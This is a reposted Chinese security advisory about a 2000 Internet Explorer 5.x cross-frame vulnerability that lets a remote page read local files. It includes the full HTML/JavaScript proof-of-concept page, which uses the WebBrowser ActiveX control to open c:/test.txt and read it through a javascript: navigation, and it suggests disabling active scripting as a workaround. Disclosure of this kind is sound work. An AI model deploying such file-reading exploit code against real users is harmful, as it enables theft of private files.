微软IE的浏览功能在跨帧存取时存在漏洞

2008-04-09 04:35:17来源：互联网阅读 ()

微软IE的浏览功能在跨帧存取时存在漏洞

发布日期：2000-09-06
更新日期：2000-09-06

受影响系统：

Microsoft Internet Explorer 5.5
Microsoft Internet Explorer 5.01
- Microsoft Windows 98
- Microsoft Windows 95
- Microsoft Windows NT 4.0
- Microsoft Windows NT 2000

描述：

IE的浏览功能没有正确地检查初始域名的合法性，因此通过存取包含本地内容的某个帧中的浏览器对象，远程WEB服务器可能存取任何网站访问者或邮件接收者的机器上的本地文件。攻击者必须知道文件路径和文件名。

<* 来源：Georgi Guninski (joro@nat.bg) *>

测试方法：

警告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Georgi Guninski 设置了如下演示页面：
http://www.nat.bg/~joro/webctrl1.html

该页面的源代码如下：

<HTML>
Web Browser Conrol vulnerability.
<BR>
Written by Georgi Guninski.
<BR>
<object id=web2
classid="clsid:8856F961-340A-11D0-A96B-00C04FD705A2"
>
</object>
<SCRIPT>
alert("This script reads C:\\TEST.TXT\nYou may need to create it");
a=window.open("file://c:/test.txt","A");
setTimeout('web2.Navigate("javascript:alert(document.body.innerText)","","A");',2000);
</SCRIPT>
<hr>
<p>
<a href="index.html">Go to Georgi Guninski's home page</a>
<br>
</HTML>

建议：

临时的解决办法是禁止活动的脚本解释执行。

标签：

版权申明：本站文章部分自网络，如有侵权，请联系：west999com@outlook.com
特别注意：本站所有转载文章言论不代表本站观点，本站所提供的摄影照片，插画，设计作品，如需使用，请与原作者联系，版权归原作者所有